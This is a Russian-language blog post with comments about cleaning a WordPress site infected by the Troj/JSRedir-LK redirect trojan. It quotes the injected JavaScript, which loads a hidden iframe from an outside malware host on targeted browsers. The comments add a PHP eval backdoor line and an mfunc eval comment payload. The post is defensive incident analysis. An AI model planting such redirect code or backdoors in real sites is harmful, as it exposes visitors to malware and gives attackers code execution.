Троян Troj/JSRedir-LK и уязвимость WordPress

Буквально сегодня закончила разбираться с интересной и новой для себя задачкой — подопечный сайт оказался в блэклисте яндекса. Причина — троян Troj/JSRedir-LK (по данным компании Sophos).
Уточню: в блэклисте оказались сразу два сайта, один из которых является поддоменом второго, и ниже я опишу, какие трансформации произошли с обоими в результате действия трояна.

А произошло вот что:
в файле header.php (subdomain) появилось два скрипта,
и
,
в файле footer.php (subdomain) перед — также скрипт со ссылкой на ligaexpress,
и в папке wp-includes родительского сайта (domain) — файл google-analytics.php, заканчивающийся следующим кодом:
function showBrowVer()
{
    var data = browserDetectNav();

    if (data[0]) {
      if ((data[0] == 'Opera' || data[0] == 'MSIE'|| (data[0] == 'Firefox' & data[1] <= 17)) & data[3] == 'Windows'){
          var js_kod2 = document.createElement('iframe');
              js_kod2.src = 'http://moradomedia.nl/new/php/one-style.php';
              js_kod2.width = '2px';                  
              js_kod2.height = '2px';                
              js_kod2.style = 'visibility: hidden;';  
              document.body.appendChild(js_kod2);
      }
    }
}

Что любопытно, ссылка js_kod2.src периодически менялась.

Еще любопытно, что кроме того самого Sophos'а ни один из использованных антивирусов ничего не нашел. Ни на сайте, ни на компьютере, который я после возни с сайтом решила проверить. Зато софосовская утилита Virus Removal Tool нашла тот самый Troj/JSRedir-LK, и вдобавок еще и Troj/JSRedir-JK, оба в Temporary Internet Files. За что я ее теперь всячески рекомендую [1].
А также порекомендую плагин для вордпресса Wordfence Security [2]. Меня он покорил возможностью просканировать файлы, включая файлы темы и плагинов, и сравнить их с хранящимися на WordPress.org. Даже жаль, что к моменту его установки и запуска сканирования все лишнее уже было удалено.

И еще о вордпресс (о той самой уязвимости, упомянутой в теме статьи).
Пока искала дыру, через которую проник вирус, нашла информацию о том, что в плагинах для кеширования (а именно WP Super Cache 1.2 и более ранние; W3 Total Cache 0.9.2.8 и более ранние) обнаружена уязвимость, позволяющая удаленному пользователю внедрить и выполнить произвольный PHP код. Подробнее об этом можно прочитать здесь [3] и здесь [4].
Так что держите ноги в тепле, а плагины — обновленными. А, да, и не храните ftp пароли в Total Commander.
Спасибо за внимание.

Ссылки на упомянутое в тексте:
1. Virus Removal Tool от Sophos (free)
2. Плагин Wordfence Security для WordPress
3. Обнаружена опасная уязвимость в кеширующих плагинах для WordPress, securitylab.ru
4. mfunc issue
Поделиться публикацией
Похожие публикации
AdBlock похитил этот баннер, но баннеры не зубы — отрастут

Подробнее
Реклама
Комментарии 11
  • НЛО прилетело и опубликовало эту надпись здесь
    • +2
      Начать, закончить и в середине еще пару раз вставить, для надежности. :)
    • 0
      обнаружена уязвимость, позволяющая удаленному пользователю внедрить и выполнить произвольный PHP код

      Опять:
      if( isset($_GET['super_secret_var']) ) eval( $_GET['super_secret_var'] );
      
      ?
      • 0
        Цитирую из статьи:
        Приложение неправильно ограничивает доступ к макросам включения PHP кода «mfunc» и «mclude».… Для успешной эксплуатации уязвимости требуется, чтобы константа «W3TC_DYNAMIC_SECURITY» была определена, а также, чтобы атакующий имел привилегии для редактирования публикаций, страниц или комментариев, использующих макросы «mfunc» и «mclude» с данной константой.
        • 0
          Получается, что если комментарии не отключены, включены динамические снипперы и стоит один из выше упомянутых плагинов, то выполнять произвольный код может любой пользователь, следующим комментарием:
          <!--mfunc eval( ... ); --><!--/mfunc-->
          
      • 0
        Осмелюсь порекомендовать плагин WordPress File Monitor Plus, который периодически проверяет, не изменились ли контрольные суммы файлов. По-моему, удобнее сравнивать файлы с их предыдущими версиями, чем с WordPress.org, чтобы не отвлекаться на изменения, сделанные самостоятельно. Правда, если проверять слишком часто — возрастает нагрузка на диск, провайдер может обидеться.
        • 0
          Спасибо! Полезное, будем знать.
        • +1
          Статья интересная, но есть одно замечение

          Пока искала дыру, через которую проник вирус

          Тема уязвимости не раскрыта. Какая именно уязвимость была использована? Чем это подтверждается? Что показывают логи запросов к веб-серверу?
          • 0
            Если честно, такой задачи и не было. :) К сожалению, я не могу со стопроцентной достоверностью утверждать, что знаю причину произошедшего в данном конкретном случае. Могу лишь предположить, что хранившиеся (о горе мне и владельцу сайта) в TK пароли были… хмм… найдены и использованы для заражения сайтов. Косвенным образом это подтверждают логи, где видно, что накануне того дня, когда сайты попали в блэклист, с аккаунта администратора были перезаписаны файлы header и footer. Если я правильно трактую логи, конечно. (На нужную дату доступна информация только в ftp_log,)
            • 0
              Т.е. удалось найти странные действия с некоего IP в логах, верно? Производили ли поиск этого IP во всех оставшихся логах? Это бы помогло выяснить другие действия взломщика.
              • 0
                Не совсем так. К сожалению, архивация логов была отключена, и когда я кинулась смотреть, что там, информация о нужном дне была только в логе ftp_log. А там да, видно, что с некоего IP примерно в одно и то же время был произведен ряд манипуляций.

          Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.